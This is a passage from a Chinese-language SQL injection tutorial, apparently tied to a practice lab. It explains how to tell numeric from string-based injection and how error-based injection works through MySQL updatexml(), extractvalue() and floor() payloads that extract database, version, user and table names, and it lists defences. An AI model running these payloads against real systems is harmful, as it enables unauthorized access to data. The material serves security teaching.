&#8212; &#039;; <\/p>\n<ul>\n<li>\n<ul>\n<li id=\"u95f855aa\">\u6548\u679c&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li id=\"ue161361b\">\u9a8c\u8bc1 users \u8868\u662f\u5426\u5b58\u5728&#xff0c;\u5e76\u5c1d\u8bd5\u83b7\u53d6\u66f4\u591a\u4fe1\u606f\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5 id=\"IdV2r\">6.2.6. \u603b\u7ed3<\/h5>\n<ul>\n<li id=\"uc1807ff2\">\u5b57\u7b26\u578b\u6ce8\u5165\u7684\u7279\u70b9&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u88d92857\">\u53c2\u6570\u4e3a\u5b57\u7b26\u4e32\u7c7b\u578b&#xff0c;\u9700\u8981\u5904\u7406\u5f15\u53f7\u5305\u88f9\u3002<\/li>\n<li id=\"u832908c9\">\u653b\u51fb\u8005\u901a\u8fc7\u95ed\u5408\u5f15\u53f7\u6216\u9003\u9038\u5f15\u53f7\u7be1\u6539\u67e5\u8be2\u903b\u8f91\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"ua7cf2ddc\">\u9632\u5fa1\u63aa\u65bd&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u71a497df\">\u4f7f\u7528\u53c2\u6570\u5316\u67e5\u8be2\u3002<\/li>\n<li id=\"u7ccd9166\">\u8f6c\u4e49\u7279\u6b8a\u5b57\u7b26\u3002<\/li>\n<li id=\"u8f7f70c9\">\u9a8c\u8bc1\u7528\u6237\u8f93\u5165\u3002<\/li>\n<li id=\"u1f143f93\">\u6700\u5c0f\u5316\u6570\u636e\u5e93\u6743\u9650\u3002<\/li>\n<li id=\"u69c8e1d0\">\u76d1\u63a7\u548c\u8bb0\u5f55\u5f02\u5e38\u884c\u4e3a\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5 id=\"Q4ygP\" style=\"background-color:transparent\">6.2.7. &#xff08;\u8865\u5145&#xff09;\u5982\u4f55\u5feb\u901f\u5224\u65ad\u5b57\u7b26\u578b\u4e0e\u6570\u5b57\u578b\u6ce8\u5165&#xff1f;<\/h5>\n<h6 id=\"vrwrM\">6.2.7.1. \u6838\u5fc3\u533a\u522b&#xff1a;\u53c2\u6570\u662f\u5426\u88ab\u5f15\u53f7\u5305\u88f9<\/h6>\n<ul>\n<li id=\"ub5fd454b\">\u6570\u5b57\u578b\u6ce8\u5165&#xff1a;\u53c2\u6570\u76f4\u63a5\u4f5c\u4e3a\u6570\u503c\u4f7f\u7528&#xff0c;\u65e0\u5355\/\u53cc\u5f15\u53f7\u5305\u88f9&#xff08;\u5982 id&#061;1&#xff09;\u3002<\/li>\n<li id=\"u35a07b8a\">\u5b57\u7b26\u578b\u6ce8\u5165&#xff1a;\u53c2\u6570\u88ab\u89c6\u4e3a\u5b57\u7b26\u4e32&#xff0c;\u5fc5\u987b\u7528\u5355\/\u53cc\u5f15\u53f7\u5305\u88f9&#xff08;\u5982 username&#061;&#039;admin&#039;&#xff09;\u3002<\/li>\n<\/ul>\n<h6 id=\"kAInt\">6.2.7.2. \u6570\u5b57\u578b\u6ce8\u5165\u5224\u65ad\u65b9\u6cd5<\/h6>\n<p id=\"ua4052685\">\u901a\u8fc7\u903b\u8f91\u6761\u4ef6\u6d4b\u8bd5\u548c\u56db\u5219\u8fd0\u7b97\u9a8c\u8bc1&#xff0c;\u89c2\u5bdf\u9875\u9762\u54cd\u5e94\u5dee\u5f02&#xff1a;<\/p>\n<li id=\"u78d38cd1\">\u903b\u8f91\u6761\u4ef6\u6d4b\u8bd5&#xff08;\u6700\u76f4\u63a5&#xff09;<\/li>\n<ul>\n<li>\n<ul>\n<li id=\"u0fbfaf6d\">\u8f93\u5165 id&#061;1 AND 1&#061;1 \u2192 \u9875\u9762\u6b63\u5e38\u663e\u793a&#xff08;\u4e0e\u539f\u8bf7\u6c42\u4e00\u81f4&#xff09;&#xff0c;\u8bf4\u660e\u6ce8\u5165\u6761\u4ef6\u88ab\u6267\u884c\u4e14\u4e3a\u771f\u3002<\/li>\n<li id=\"u28189134\">\u8f93\u5165 id&#061;1 AND 1&#061;2 \u2192 \u9875\u9762\u5f02\u5e38\u663e\u793a&#xff08;\u7a7a\u767d\u3001\u62a5\u9519\u6216\u65e0\u6570\u636e&#xff09;&#xff0c;\u8bf4\u660e\u6ce8\u5165\u6761\u4ef6\u88ab\u6267\u884c\u4e3a\u5047&#xff0c;\u5b58\u5728\u6570\u5b57\u578b\u6ce8\u5165\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<li id=\"ue555a1ec\">\u56db\u5219\u8fd0\u7b97\u9a8c\u8bc1&#xff08;\u8f85\u52a9&#xff09; \u8f93\u5165 id&#061;(1&#043;1)-1 \u2192 \u82e5\u7ed3\u679c\u4e0e id&#061;1 \u4e00\u81f4&#xff0c;\u8bf4\u660e\u53c2\u6570\u88ab\u5f53\u4f5c\u6570\u503c\u5904\u7406&#xff08;\u6570\u5b57\u578b\u7279\u5f81&#xff09;\u3002<\/li>\n<h6 id=\"tvcoP\">6.2.7.3. \u5b57\u7b26\u578b\u6ce8\u5165\u5224\u65ad\u65b9\u6cd5<\/h6>\n<p id=\"u5ba224c4\">\u901a\u8fc7\u5355\u5f15\u53f7\u95ed\u5408\u6d4b\u8bd5\u548c\u903b\u8f91\u6761\u4ef6\u9a8c\u8bc1&#xff0c;\u89c2\u5bdf\u9875\u9762\u62a5\u9519\u6216\u54cd\u5e94\u53d8\u5316&#xff1a;<\/p>\n<li id=\"u611c07af\">\u5355\u5f15\u53f7\u6d4b\u8bd5&#xff08;\u6838\u5fc3&#xff09; \u8f93\u5165 username&#061;admin&#039; \u2192 \u82e5\u9875\u9762\u62a5\u9519&#xff08;\u5982 Unclosed quotation mark&#xff09;&#xff0c;\u8bf4\u660e\u53c2\u6570\u88ab\u5f15\u53f7\u5305\u88f9&#xff08;\u5b57\u7b26\u578b\u7279\u5f81&#xff09;\u3002<\/li>\n<li id=\"ufc72bc7a\">\u903b\u8f91\u6761\u4ef6\u9a8c\u8bc1<\/li>\n<ul>\n<li>\n<ul>\n<li id=\"ue43d9b1a\">\u8f93\u5165 username&#061;admin&#039; AND &#039;1&#039;&#061;&#039;1 &#8211;&#043; \u2192 \u9875\u9762\u6b63\u5e38\u663e\u793a&#xff08;\u4e0e\u539f\u8bf7\u6c42\u4e00\u81f4&#xff09;&#xff0c;\u8bf4\u660e\u5355\u5f15\u53f7\u6210\u529f\u95ed\u5408&#xff0c;\u6ce8\u5165\u6761\u4ef6\u4e3a\u771f\u3002<\/li>\n<li id=\"u6dd7936e\">\u8f93\u5165 username&#061;admin&#039; AND &#039;1&#039;&#061;&#039;2 &#8211;&#043; \u2192 \u9875\u9762\u5f02\u5e38\u663e\u793a&#xff0c;\u8bf4\u660e\u6ce8\u5165\u6761\u4ef6\u4e3a\u5047&#xff0c;\u5b58\u5728\u5b57\u7b26\u578b\u6ce8\u5165\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h6 id=\"SH1WZ\">6.2.7.4. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n<ul>\n<li id=\"u559bfc36\">\u6570\u5b57\u578b&#xff1a;\u65e0\u5f15\u53f7&#xff0c;\u7528 AND 1&#061;1\/AND 1&#061;2 \u6d4b\u8bd5\u54cd\u5e94\u5dee\u5f02\u3002<\/li>\n<li id=\"u46bff2a2\">\u5b57\u7b26\u578b&#xff1a;\u6709\u5f15\u53f7&#xff0c;\u7528\u5355\u5f15\u53f7\u95ed\u5408&#043;\u903b\u8f91\u6761\u4ef6\u9a8c\u8bc1\u3002 \u901a\u8fc7\u8fd9\u4e24\u79cd\u65b9\u6cd5&#xff0c;\u53ef\u5feb\u901f\u533a\u5206\u6ce8\u5165\u7c7b\u578b&#xff0c;\u4e3a\u540e\u7eed\u6e17\u900f\u6d4b\u8bd5\u5960\u5b9a\u57fa\u7840 &#x1f6e1;\ufe0f\u3002<\/li>\n<\/ul>\n<h6 id=\"a34fa\" style=\"background-color:transparent\">6.2.7.5. &#xff08;\u4ee5\u9898\u76ee\u4e3a\u4f8b&#xff09;\u3010\u6570\u5b57\u578b\u8fd8\u662f\u5b57\u7b26\u578b\u3011<\/h6>\n<h6 id=\"sVtD2\">6.2.7.5.1. \u7b2c\u4e00\u5173<\/h6>\n<ul>\n<li id=\"uc35e6b9d\">You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&#039;1&#039;&#039; LIMIT 0,1&#039; at line 1<\/li>\n<\/ul>\n<li id=\"u50e9f68f\">syntax \u8bed\u6cd5<\/li>\n<p id=\"u2997f703\">\u5728\u8ba1\u7b97\u673a\u79d1\u5b66\u4e2d&#xff0c;syntax \u7279\u6307\u7f16\u7a0b\u8bed\u8a00\u6216\u67e5\u8be2\u8bed\u8a00&#xff08;\u5982 SQL&#xff09;\u7684\u8bed\u6cd5\u89c4\u5219\u3002\u5982\u679c\u8fdd\u53cd\u4e86\u8fd9\u4e9b\u89c4\u5219&#xff0c;\u5c31\u4f1a\u5bfc\u81f4\u7c7b\u4f3c syntax error&#xff08;\u8bed\u6cd5\u9519\u8bef&#xff09;\u7684\u95ee\u9898\u3002<\/p>\n<li id=\"u7df5c12a\">manual \u624b\u518c<\/li>\n<ul>\n<li id=\"u18df9fbe\">&#034;Check the MySQL manual for the correct syntax.&#034; &#xff08;\u67e5\u9605 MySQL \u624b\u518c\u4ee5\u83b7\u53d6\u6b63\u786e\u7684\u8bed\u6cd5\u3002&#xff09;<\/li>\n<\/ul>\n<p id=\"uf475489d\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"672\" id=\"SUZWv\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131633-697374b1ca00f.png\" width=\"2837\" \/><\/p>\n<p> &#039;&#039;1&#039;&#039; LIMIT 0,1&#039; <\/p>\n<p>1&#039;\u4e3a\u6ce8\u5165\u5185\u5bb9<br \/>\n\u7531\u989c\u8272\u770b\u51fa\u5f15\u53f7\u5206\u522b\u662f\u8c01\u7684\u5f15\u53f7<br \/>\n\u6240\u4ee5\u5440&#xff0c;&#xff0c;&#xff0c;&#xff0c;\u4e0a\u9762\u90a3\u5185\u5bb9\u662f\u5b57\u7b26\u578b\u6ce8\u5165<\/p>\n<h6 id=\"pXfIU\">6.2.7.5.2. \u7b2c\u4e8c\u5173<\/h6>\n<ul>\n<li id=\"u9fb0a0a5\">You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&#039; LIMIT 0,1&#039; at line 1<\/li>\n<\/ul>\n<p id=\"u878676ff\">&#xff01;&#xff01;&#xff01;\u6ca1\u56de\u56de\u663e\u51fa\u8f93\u5165\u5185\u5bb9\u8bf4\u660e\u662f\u6570\u5b57\u578b<\/p>\n<p id=\"u29593a69\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"865\" id=\"R6jaH\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131635-697374b33fc07.png\" width=\"2847\" \/><\/p>\n<h6 id=\"HCBua\">6.2.7.5.3. \u65e0\u9519\u8bef\u56de\u663e\u7c7b\u578b\u5224\u65ad&#xff08;\u901a\u8fc7\u6ce8\u5165\u7b97\u5f0f\u5224\u65ad&#xff09;<\/h6>\n<p id=\"u22b8379c\">\u7b2c\u4e00\u5173\u8bf4\u660e\u540e\u53f0\u5c062-1\u4f5c\u4e3a\u5b57\u7b26\u4e32\u6765\u5904\u7406&#xff0c;\u624d\u4f1a\u4f7f\u524d\u540e<\/p>\n<p id=\"u2a2ca719\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"919\" id=\"FlKGY\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131636-697374b4ce354.png\" width=\"2879\" \/><\/p>\n<p id=\"u12b4178a\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"859\" id=\"iOV3c\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131638-697374b64b4d1.png\" width=\"2726\" \/><\/p>\n<p id=\"u3c8bb0d5\">\u7b2c\u4e8c\u5173\u524d\u540e\u663e\u793a\u7684\u5185\u5bb9\u4e0d\u53d8&#xff0c;\u8bf4\u660e\u662f\u7ecf\u8fc7\u540e\u53f0\u8ba1\u7b97\u540e&#xff0c;\u518d\u8fdb\u884c\u5904\u7406&#xff0c;\u8bf4\u660e\u662f\u6570\u5b57\u578b<\/p>\n<p id=\"u4f1b255d\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1063\" id=\"BujFG\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131640-697374b80f47d.png\" width=\"2872\" \/><\/p>\n<p id=\"ud4b4729b\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"944\" id=\"UFqwa\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131641-697374b9e18fa.png\" width=\"2860\" \/><\/p>\n<h4 id=\"nNb3b\">6.3. \u62a5\u9519\u6ce8\u5165<\/h4>\n<ul>\n<li id=\"u44984a52\">sql\u6ce8\u5165\u2014\u2014\u62a5\u9519\u6ce8\u5165-CSDN\u535a\u5ba2<\/li>\n<\/ul>\n<p id=\"u87b452b6\">\u8fd9\u4f4d\u5927\u4f6c\u7684\u662f\u7b14\u8bb0\u548c\u9898\u76ee\u7ed3\u5408&#xff0c;\u5f88\u8be6\u7ec6&#xff0c;\u4e5f\u53ef\u4ee5\u770b\u770b\u4ed6\u7684<\/p>\n<h5 id=\"f9fb2152\">6.3.1. \u6838\u5fc3\u5b9a\u4e49&#xff1a;\u4ec0\u4e48\u662f\u62a5\u9519\u6ce8\u5165&#xff1f;<\/h5>\n<p id=\"ucf3f9ef7\">\u62a5\u9519\u6ce8\u5165&#xff08;Error-Based SQL Injection&#xff09;\u662fSQL\u6ce8\u5165\u7684\u4e00\u79cd\u5173\u952e\u624b\u6cd5&#xff0c;\u3010\u9875\u9762\u54cd\u5e94\u5f62\u5f0f\u3011<\/p>\n<p id=\"ub12bd926\">\u6838\u5fc3\u903b\u8f91\u662f&#xff1a;<\/p>\n<ul>\n<li id=\"ub40d488d\">\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u6076\u610fSQL\u8bed\u53e5&#xff0c;\u6545\u610f\u89e6\u53d1\u6570\u636e\u5e93\u6267\u884c\u9519\u8bef\u3002<\/li>\n<li id=\"u9a2e0787\">\u82e5\u5e94\u7528\u672a\u5c4f\u853d\u9519\u8bef\u4fe1\u606f&#xff0c;\u6570\u636e\u5e93\u4f1a\u5c06\u654f\u611f\u6570\u636e&#xff08;\u5e93\u540d\u3001\u8868\u540d\u3001\u5b57\u6bb5\u503c&#xff09; \u5305\u542b\u5728\u9519\u8bef\u63d0\u793a\u4e2d\u56de\u663e\u5230\u9875\u9762&#xff0c;\u653b\u51fb\u8005\u53ef\u76f4\u63a5\u4ece\u62a5\u9519\u4fe1\u606f\u4e2d\u63d0\u53d6\u6570\u636e\u3002<\/li>\n<\/ul>\n<p id=\"uea5a9179\">\u7b80\u5355\u6765\u8bf4&#xff1a;\u8ba9\u6570\u636e\u5e93\u201c\u62a5\u9519\u201d&#xff0c;\u5e76\u628a\u4f60\u60f3\u8981\u7684\u6570\u636e\u201c\u5410\u201d\u51fa\u6765 &#x1f6a8;\u3002<\/p>\n<h5 id=\"342b9ad3\">6.3.2. \u6838\u5fc3\u539f\u7406&#xff1a;\u4e3a\u4ec0\u4e48\u62a5\u9519\u80fd\u6cc4\u9732\u6570\u636e&#xff1f;<\/h5>\n<p id=\"u70dc447e\">\u62a5\u9519\u6ce8\u5165\u7684\u672c\u8d28\u662f\u5229\u7528\u6570\u636e\u5e93\u7684\u9519\u8bef\u56de\u663e\u673a\u5236&#xff1a;<\/p>\n<li id=\"uf2cc42af\">\u9519\u8bef\u89e6\u53d1&#xff1a;\u901a\u8fc7\u7279\u6b8a\u51fd\u6570&#xff08;\u5982updatexml()&#xff09;\u6784\u9020\u975e\u6cd5SQL&#xff0c;\u8feb\u4f7f\u6570\u636e\u5e93\u6267\u884c\u65f6\u629b\u51fa\u9519\u8bef\u3002<\/li>\n<li id=\"u67c26a15\">\u6570\u636e\u62fc\u63a5&#xff1a;\u5c06\u9700\u8981\u67e5\u8be2\u7684\u654f\u611f\u6570\u636e&#xff08;\u5982database()&#xff09;\u5d4c\u5165\u9519\u8bef\u51fd\u6570\u7684\u53c2\u6570\u4e2d&#xff0c;\u6570\u636e\u5e93\u62a5\u9519\u65f6\u4f1a\u5c06\u8be5\u6570\u636e\u4f5c\u4e3a\u9519\u8bef\u4fe1\u606f\u7684\u4e00\u90e8\u5206\u8fd4\u56de\u3002<\/li>\n<li id=\"u5e45ae4c\">\u4fe1\u606f\u63d0\u53d6&#xff1a;\u653b\u51fb\u8005\u4ece\u524d\u7aef\u663e\u793a\u7684\u9519\u8bef\u63d0\u793a\u4e2d&#xff0c;\u76f4\u63a5\u8bfb\u53d6\u654f\u611f\u6570\u636e&#xff08;\u65e0\u9700\u76f2\u6ce8\u731c\u89e3&#xff09;\u3002<\/li>\n<h5 id=\"3db3797d\">6.3.3. \u5b9e\u6218\u6b65\u9aa4&#xff1a;\u4ece\u5224\u65ad\u5230\u6570\u636e\u83b7\u53d6<\/h5>\n<p id=\"ud65983a8\">\u4ee5MySQL\u6570\u636e\u5e93\u4e3a\u4f8b&#xff0c;\u901a\u8fc7updatexml()\u51fd\u6570\u6f14\u793a\u62a5\u9519\u6ce8\u5165\u6d41\u7a0b&#xff1a;<\/p>\n<h6 id=\"887dae9a\">6.3.3.1. \u5224\u65ad\u662f\u5426\u5b58\u5728\u62a5\u9519\u6ce8\u5165<\/h6>\n<ul>\n<li id=\"u79c03940\">\u6838\u5fc3\u6d4b\u8bd5&#xff1a;\u8f93\u5165\u5355\u5f15\u53f7&#xff08;&#039;&#xff09;\u6216\u6784\u9020\u9519\u8bef\u8bed\u53e5&#xff0c;\u89c2\u5bdf\u9875\u9762\u662f\u5426\u8fd4\u56de\u8be6\u7ec6\u6570\u636e\u5e93\u9519\u8bef&#xff08;\u5982You have an error in your SQL syntax&#xff09;\u3002 \u793a\u4f8b&#xff1a;\u82e5\u539f\u8bf7\u6c42\u4e3a?id&#061;1&#xff0c;\u8f93\u5165?id&#061;1&#039;&#xff0c;\u82e5\u9875\u9762\u62a5\u9519&#xff0c;\u8bf4\u660e\u5b58\u5728\u6ce8\u5165\u53ef\u80fd\u3002<\/li>\n<\/ul>\n<h6 id=\"93f5d86f\">6.3.3.2. \u6784\u9020\u62a5\u9519\u8bed\u53e5&#xff08;\u4ee5updatexml()\u4e3a\u4f8b&#xff09;<\/h6>\n<p id=\"u55ef00aa\">updatexml()\u51fd\u6570\u7528\u4e8e\u4fee\u6539XML\u6587\u6863&#xff0c;\u7b2c\u4e8c\u4e2a\u53c2\u6570\u9700\u4e3a\u5408\u6cd5\u7684XPath\u8def\u5f84\u3002\u82e5\u4f20\u5165\u975e\u6cd5\u5185\u5bb9&#xff08;\u5982\u62fc\u63a5\u7684\u654f\u611f\u6570\u636e&#xff09;&#xff0c;\u6570\u636e\u5e93\u4f1a\u62a5\u9519\u5e76\u8fd4\u56de\u975e\u6cd5\u5185\u5bb9\u3002<\/p>\n<ul>\n<li id=\"uc516d854\">\u7206\u6570\u636e\u5e93\u540d&#xff1a; \u6784\u9020Payload&#xff1a;<\/li>\n<\/ul>\n<p>?id&#061;1 AND updatexml(1, concat(0x7e, database(), 0x7e), 1) <\/p>\n<p id=\"u79d26499\">\u89e3\u91ca&#xff1a;<\/p>\n<ul>\n<li>\n<ul>\n<li id=\"ubd417f4b\">0x7e\u662fASCII\u7801\u7684~&#xff0c;\u7528\u4e8e\u5206\u9694\u9519\u8bef\u4fe1\u606f\u548c\u654f\u611f\u6570\u636e\u3002<\/li>\n<li id=\"uc481d540\">database()\u8fd4\u56de\u5f53\u524d\u6570\u636e\u5e93\u540d&#xff08;\u5982security&#xff09;\u3002<\/li>\n<li id=\"u38fcd46e\">\u6267\u884c\u540e&#xff0c;\u9875\u9762\u62a5\u9519\u4fe1\u606f\u4f1a\u5305\u542b~security~&#xff0c;\u76f4\u63a5\u6cc4\u9732\u6570\u636e\u5e93\u540d\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"uafdfa379\">\u7206\u8868\u540d&#xff1a; \u6784\u9020Payload&#xff1a;<\/li>\n<\/ul>\n<p>?id&#061;1 AND updatexml(1, concat(0x7e, (SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema&#061;database()), 0x7e), 1) <\/p>\n<p id=\"uf0bb79c5\">\u89e3\u91ca&#xff1a;\u901a\u8fc7\u5b50\u67e5\u8be2SELECT group_concat(table_name)&#8230;\u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93\u7684\u6240\u6709\u8868\u540d&#xff08;\u5982users\u3001emails&#xff09;&#xff0c;\u5e76\u5d4c\u5165\u62a5\u9519\u4fe1\u606f\u3002<\/p>\n<h5 id=\"085e5157\">6.3.4. \u5e38\u89c1\u62a5\u9519\u51fd\u6570&#xff08;MySQL&#xff09;<\/h5>\n<table id=\"eyWes\">\n<tbody>\n<tr>\n<td>\n<p id=\"u2be8b487\">\u51fd\u6570\u540d<\/p>\n<\/td>\n<td>\n<p id=\"u0a217d8d\">\u4f5c\u7528<\/p>\n<\/td>\n<td>\n<p id=\"uab39960e\">\u793a\u4f8bPayload<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ucad49f81\">updatexml()<\/p>\n<\/td>\n<td>\n<p id=\"u2d150187\">\u4fee\u6539XML\u6587\u6863&#xff0c;\u975e\u6cd5XPath\u89e6\u53d1\u62a5\u9519<\/p>\n<\/td>\n<td>\n<p id=\"u04beb1b0\">updatexml(1, concat(0x7e, version()), 1)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u8b284f38\">extractvalue()<\/p>\n<\/td>\n<td>\n<p id=\"u4283959c\">\u63d0\u53d6XML\u8282\u70b9\u503c&#xff0c;\u975e\u6cd5XPath\u89e6\u53d1\u62a5\u9519<\/p>\n<\/td>\n<td>\n<p id=\"u8d2205c0\">extractvalue(1, concat(0x7e, user()))<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"uda52cb61\">floor()<\/p>\n<\/td>\n<td>\n<p id=\"ue4ad7ac2\">\u7ed3\u5408rand()<\/p>\n<p id=\"u1e6774a0\">\u548cgroup by<\/p>\n<p id=\"u4904b58b\">\u89e6\u53d1\u4e3b\u952e\u91cd\u590d\u9519\u8bef&#xff08;\u9002\u7528\u4e8e\u4f4e\u7248\u672cMySQL&#xff09;<\/p>\n<\/td>\n<td>\n<p id=\"u182e4295\">(SELECT 1 FROM (SELECT count(*),concat(<\/p>\n<p id=\"u2e731061\">version(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p id=\"u20c8b559\">1. extractvalue:<\/p>\n<p id=\"uc4cc1012\">extractvalue\u51fd\u6570\u7528\u4e8e\u4eceXML\u6587\u6863\u4e2d\u63d0\u53d6\u7279\u5b9a\u7684\u503c\u3002\u5b83\u63a5\u53d7\u4e24\u4e2a\u53c2\u6570&#xff0c;<\/p>\n<p id=\"u99e460fe\">\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u8981\u63d0\u53d6\u503c\u7684XML\u6587\u6863&#xff0c;<\/p>\n<p id=\"u4b9d44aa\">\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662fXPath\u8868\u8fbe\u5f0f&#xff0c;\u7528\u4e8e\u6307\u5b9a\u8981\u63d0\u53d6\u7684\u503c\u7684\u4f4d\u7f6e\u3002<\/p>\n<p id=\"u4134f1f2\">\u8be5\u51fd\u6570\u5c06\u8fd4\u56de\u7b26\u5408XPath\u8868\u8fbe\u5f0f\u7684\u8282\u70b9\u7684\u503c\u3002<\/p>\n<p id=\"uf2ae7f4f\">2. updatexml:<\/p>\n<p id=\"u81e60a7e\">updatexml\u51fd\u6570\u7528\u4e8e\u66f4\u65b0XML\u6587\u6863\u4e2d\u7279\u5b9a\u8282\u70b9\u7684\u503c\u3002\u5b83\u63a5\u53d7\u4e09\u4e2a\u53c2\u6570&#xff0c;<\/p>\n<p id=\"ue5be3ef2\">\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u8981\u66f4\u65b0\u7684XML\u6587\u6863\u3010\u5b58\u50a8\u548c\u4f20\u8f93\u6570\u636e\u3011&#xff0c;<\/p>\n<p id=\"uf233d79f\">\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662fXPath\u8868\u8fbe\u5f0f&#xff0c;\u7528\u4e8e\u6307\u5b9a\u8981\u66f4\u65b0\u7684\u8282\u70b9\u7684\u4f4d\u7f6e&#xff0c;<\/p>\n<p id=\"u5371855b\">\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f\u65b0\u7684\u8282\u70b9\u503c\u3002<\/p>\n<p id=\"udecbb372\">\u8be5\u51fd\u6570\u5c06\u8fd4\u56de\u66f4\u65b0\u540e\u7684XML\u6587\u6863\u3002<\/p>\n<p id=\"u7f41c438\">3. floor:<\/p>\n<p id=\"u97ab832b\">floor\u51fd\u6570\u7528\u4e8e\u5411\u4e0b\u53d6\u6574&#xff0c;\u5c06\u4e00\u4e2a\u6570\u503c\u5411\u4e0b\u53d6\u6574\u4e3a\u6700\u63a5\u8fd1\u7684\u6574\u6570\u3002\u5b83\u63a5\u53d7\u4e00\u4e2a\u53c2\u6570&#xff0c;<\/p>\n<p id=\"ud62997fa\">\u5373\u8981\u8fdb\u884c\u53d6\u6574\u64cd\u4f5c\u7684\u6570\u503c&#xff0c;\u8fd4\u56de\u6700\u63a5\u8fd1\u7684\u5c0f\u4e8e\u6216\u7b49\u4e8e\u8be5\u6570\u503c\u7684\u6574\u6570\u3002\u4f8b\u5982&#xff0c;floor(3.8)\u5c06\u8fd4\u56de3&#xff0c;floor(4.2)\u5c06\u8fd4\u56de<\/p>\n<h6 id=\"rtxnb\">6.3.4.1. extractvalue\u62a5\u9519\u6ce8\u5165<\/h6>\n<h6 id=\"duRed\">6.3.4.1.1. \u57fa\u7840\u5b9a\u4e49&#xff1a;extractvalue()\u662f\u4ec0\u4e48&#xff1f;<\/h6>\n<p id=\"u6162df60\">extractvalue()\u662fMySQL\u6570\u636e\u5e93\u4e2d\u7528\u4e8e\u89e3\u6790XML\u6570\u636e\u7684\u5185\u7f6e\u51fd\u6570&#xff0c;<\/p>\n<p id=\"ue5bd255a\">\u6838\u5fc3\u4f5c\u7528\u662f\u4eceXML\u5b57\u7b26\u4e32\u4e2d\u63d0\u53d6\u6307\u5b9a\u8def\u5f84\u7684\u8282\u70b9\u503c\u3002\u7528\u4e8e\u4eceXML\u5b57\u7b26\u4e32\u4e2d\u63d0\u53d6\u7279\u5730\u8def\u5f84\u4e0b\u7684\u5185\u5bb9\u3002<\/p>\n<p id=\"u043ad42b\">\u5b83\u7684\u8bbe\u8ba1\u521d\u8877\u662f\u5904\u7406XML\u683c\u5f0f\u7684\u6570\u636e&#xff0c;\u4f46\u56e0\u5bf9\u8f93\u5165\u7684\u6821\u9a8c\u4e0d\u4e25\u683c&#xff0c;\u5e38\u88ab\u7528\u4e8eSQL\u6ce8\u5165\u653b\u51fb\u3002<\/p>\n<h6 id=\"APPwH\">6.3.4.1.2. \u8bed\u6cd5\u4e0e\u53c2\u6570\u89e3\u6790<\/h6>\n<p>EXTRACTVALUE(xml_frag, xpath_expr) <\/p>\n<ul>\n<li id=\"uea0df104\">xml_frag&#xff1a; \u8868\u793a\u8981\u89e3\u6790\u7684XML\u5b57\u7b26\u4e32&#xff08;\u53ef\u4ee5\u662fXML\u6587\u6863\u6216\u7247\u6bb5&#xff09;&#xff0c;\u4f8b\u5982&lt;a&gt;&lt;b&gt;hello&lt;\/b&gt;&lt;\/a&gt;\u3002<\/li>\n<li id=\"u18d7bb47\">xpath_expr&#xff1a; \u7528\u4e8e\u5b9a\u4f4dXML\u8282\u70b9\u7684XPath\u8868\u8fbe\u5f0f&#xff08;\u5982\/a\/b\u8868\u793a\u63d0\u53d6&lt;a&gt;\u8282\u70b9\u4e0b\u7684&lt;b&gt;\u8282\u70b9\u503c&#xff09;\u3002<\/li>\n<\/ul>\n<p>extractvalue(xml_document,xpath_string)<\/p>\n<p>\u7b2c\u4e00\u4e2a\u53c2\u6570:XML_document\u662f String \u683c\u5f0f&#xff0c;\u4e3aXMIL\u6587\u6863\u5bf9\u8c61\u7684\u540d\u79f0\u3002<\/p>\n<p>\u7b2c\u4e8c\u4e2a\u53c2\u6570:XPath_string (Xpath\u683c\u5f0f\u7684\u5b57\u7b26\u4e32)\u3002<\/p>\n<p>\/\/\u4f5c\u7528: \u4ece\u76ee\u6807XML\u4e2d\u8fd4\u56de\u5305\u542b\u6240\u67e5\u8be2\u503c\u7684\u5b57\u7b26\u4e32\u3002<\/p>\n<p>ps: 